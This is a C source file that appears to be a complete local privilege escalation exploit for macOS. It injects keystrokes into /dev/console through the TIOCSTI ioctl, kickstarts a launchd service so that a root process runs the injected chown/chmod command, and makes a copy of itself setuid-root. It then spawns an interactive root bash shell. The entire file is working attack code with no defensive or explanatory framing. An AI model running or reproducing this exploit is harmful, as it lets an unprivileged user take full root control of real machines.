#include <fcntl.h>
#include <limits.h>
#include <mach-o/dyld.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/ttycom.h>
#include <sys/wait.h>
#include <unistd.h>

static char dir[PATH_MAX];
static char helper[PATH_MAX];

static void cleanup(void) {
    if (*helper) unlink(helper);
    if (*dir) rmdir(dir);
}

static int copy_self(const char *dst) {
    char src[PATH_MAX];
    uint32_t size = sizeof(src);
    if (_NSGetExecutablePath(src, &size) != 0) return -1;
    int in = open(src, O_RDONLY);
    if (in < 0) return -1;
    int out = open(dst, O_WRONLY | O_CREAT | O_EXCL, 0700);
    if (out < 0) { close(in); return -1; }
    char buf[8192];
    ssize_t n;
    while ((n = read(in, buf, sizeof(buf))) > 0) {
        for (ssize_t off = 0; off < n;) {
            ssize_t wrote = write(out, buf + off, n - off);
            if (wrote <= 0) { close(in); close(out); return -1; }
            off += wrote;
        }
    }
    close(in);
    close(out);
    return n == 0 ? 0 : -1;
}

int main(int argc, char **argv) {
    if (argc == 2 && strcmp(argv[1], "--shell") == 0) {
        if (geteuid() != 0 || setgid(0) < 0 || setuid(0) < 0) {
            perror("root helper");
            return 1;
        }
        execl("/bin/bash", "bash", "-p", "-i", NULL);
        perror("bash");
        return 1;
    }

    if (!isatty(STDIN_FILENO)) {
        fputs("Run ./exp from an interactive terminal.\n", stderr);
        return 1;
    }
    int console = open("/dev/console", O_RDWR | O_NOCTTY);
    if (console < 0) {
        perror("/dev/console (log in as the active console user)");
        return 1;
    }

    snprintf(dir, sizeof(dir), "/private/tmp/console-shell-XXXXXX");
    if (!mkdtemp(dir)) { perror("mkdtemp"); return 1; }
    atexit(cleanup);
    snprintf(helper, sizeof(helper), "%s/exp", dir);
    if (copy_self(helper) < 0) { perror("copy exp"); return 1; }

    char command[PATH_MAX * 2 + 80];
    snprintf(command, sizeof(command),
             "/usr/sbin/chown 0:0 %s && /bin/chmod 4755 %s; exit\n",
             helper, helper);

    int ready[2];
    if (pipe(ready) < 0) { perror("pipe"); return 1; }
    pid_t child = fork();
    if (child < 0) { perror("fork"); return 1; }
    if (child == 0) {
        close(ready[0]);
        if (setsid() < 0 || ioctl(console, TIOCSCTTY, 0) < 0) {
            perror("TIOCSCTTY");
            _exit(1);
        }
        if (write(ready[1], "R", 1) != 1) _exit(1);
        close(ready[1]);
        sleep(4);
        for (const char *p = command; *p; ++p) {
            if (ioctl(console, TIOCSTI, p) < 0) {
                perror("TIOCSTI");
                _exit(1);
            }
            usleep(10000);
        }
        close(console);
        _exit(0);
    }
    close(ready[1]);
    char signal_byte;
    if (read(ready[0], &signal_byte, 1) != 1) {
        waitpid(child, NULL, 0);
        fputs("Could not acquire /dev/console.\n", stderr);
        return 1;
    }
    close(ready[0]);
    int result = system("/bin/launchctl kickstart system/com.apple.xpc.uscwoap >/dev/null");
    int status;
    waitpid(child, &status, 0);
    close(console);
    if (result != 0 || !WIFEXITED(status) || WEXITSTATUS(status) != 0) {
        fputs("Console injection failed.\n", stderr);
        return 1;
    }

    struct stat st;
    for (int i = 0; i < 40; ++i) {
        if (stat(helper, &st) == 0 && st.st_uid == 0 && (st.st_mode & 04755) == 04755)
            break;
        usleep(250000);
    }
    if (stat(helper, &st) < 0 || st.st_uid != 0 || (st.st_mode & 04755) != 04755) {
        fputs("Root command did not complete.\n", stderr);
        return 1;
    }

    signal(SIGINT, SIG_IGN);
    pid_t shell = fork();
    if (shell < 0) { perror("fork shell"); return 1; }
    if (shell == 0) {
        signal(SIGINT, SIG_DFL);
        execl(helper, helper, "--shell", NULL);
        perror("exec helper");
        _exit(1);
    }
    waitpid(shell, &status, 0);
    return 0;
}